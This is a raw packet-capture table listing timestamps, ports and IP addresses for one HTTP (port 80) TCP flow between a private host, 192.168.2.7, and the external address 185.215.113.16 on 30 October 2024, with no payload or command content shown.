Oct 30, 2024 11:46:41.829927921 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.829967022 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.829982042 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.829994917 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830005884 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830017090 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830034971 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830079079 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830122948 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830136061 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830148935 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830168962 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830197096 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830286980 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830298901 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830312014 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830322981 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830327988 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830359936 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830442905 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830455065 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830466032 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830482960 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830513954 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830629110 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830641985 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830656052 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830668926 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830674887 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830705881 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.830801010 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.830853939 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.831031084 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831043005 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831058025 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831069946 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831079006 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.831082106 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831094980 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831106901 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.831140041 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.831347942 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831360102 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831372023 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831377029 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831393957 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.831459999 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.831475973 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831520081 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.831657887 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831671000 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831681967 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831693888 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831706047 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.831706047 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.831738949 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.832006931 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.832020044 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.832031965 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.832051992 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.832073927 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.832186937 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.832197905 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.832204103 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.832274914 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.832321882 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.832334042 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.832344055 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.832371950 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.832385063 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854079008 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854114056 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854126930 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854147911 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854166985 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854187012 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854202032 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854213953 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854228020 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854229927 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854242086 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854252100 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854259968 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854296923 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854331017 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854342937 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854355097 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854367971 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854371071 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854403973 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854511976 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854556084 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854559898 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854568005 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854599953 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854618073 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854640007 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854652882 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854662895 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854675055 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854682922 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854686975 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854717970 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854736090 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854904890 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854948997 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854957104 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.854962111 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.854990005 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.855005026 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.855034113 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.855077982 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.874576092 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.874645948 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.874717951 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.874731064 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.874743938 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.874756098 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.874768019 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.874774933 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.874814034 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.874856949 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.874869108 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.874901056 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.874937057 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.887851954 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.887866974 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.887878895 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.887954950 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.887981892 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.887981892 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.887998104 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.888010025 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.888029099 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.888053894 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.888163090 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.888175011 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.888194084 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.888205051 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.888238907 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.888418913 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.888431072 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.888442993 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.888458967 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.888494015 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.889030933 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889044046 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889056921 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889070988 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889080048 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.889125109 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.889324903 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889338017 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889348984 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889360905 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889379025 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.889401913 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.889466047 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889477015 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889543056 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.889543056 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.889636993 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889648914 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889668941 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889678955 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.889683962 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.889723063 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.932053089 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.932073116 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.932080030 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.932097912 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.932110071 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.932158947 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.932223082 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.950640917 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950658083 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950670958 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950680971 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950695038 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950706005 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950719118 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950753927 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.950758934 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950787067 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.950808048 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.950933933 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950946093 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950958014 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950972080 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.950980902 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.950997114 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951020002 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951096058 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951122046 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951141119 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951145887 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951153994 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951168060 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951169968 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951193094 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951232910 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951415062 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951426983 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951438904 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951455116 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951476097 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951585054 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951597929 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951611996 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951622963 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951623917 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951653957 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951683998 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951855898 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951869965 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.951900005 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.951924086 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.952013016 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952025890 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952044010 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952056885 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952069044 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952069998 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.952081919 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952091932 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.952131987 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.952497959 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952511072 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952523947 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952536106 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952541113 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.952549934 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952563047 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952573061 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.952577114 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952589989 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952601910 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952610970 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.952615976 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952631950 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.952658892 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.952975035 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.952989101 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.953001976 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.953016043 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.953048944 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.953150034 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.953161955 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.953185081 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.953212976 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.974971056 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.974996090 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975009918 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975022078 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975033998 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975047112 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975052118 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.975085974 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.975100994 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975116968 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975130081 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975131989 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.975169897 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.975230932 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975244045 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975255966 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975267887 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975280046 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975281000 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.975291967 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975305080 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.975334883 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.975697994 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975714922 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975728035 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975739956 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.975744009 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.975780964 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.976001978 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.976013899 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.976026058 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.976037979 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.976044893 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.976093054 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.976136923 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.976181030 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.976316929 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.976357937 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.976479053 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.976526022 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.994245052 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.994257927 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.994267941 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.994280100 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.994292021 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.994332075 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.994369030 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.994379044 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.994410038 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.994569063 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.994580984 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.994591951 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.994615078 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.994647026 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.006762028 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006912947 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006922007 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006927013 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006937981 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006943941 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006948948 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006959915 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006972075 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006983995 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.006994009 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.006994963 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007008076 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007033110 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.007081032 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.007333994 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007345915 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007355928 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007381916 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.007400036 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.007407904 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007452965 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.007481098 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007493019 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007503033 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007514954 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007520914 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.007559061 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.007711887 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007731915 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007746935 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007755995 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.007761002 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007774115 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:42.007788897 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:42.007822990 CET	58190	80	192.168.2.7	185.215.113.16
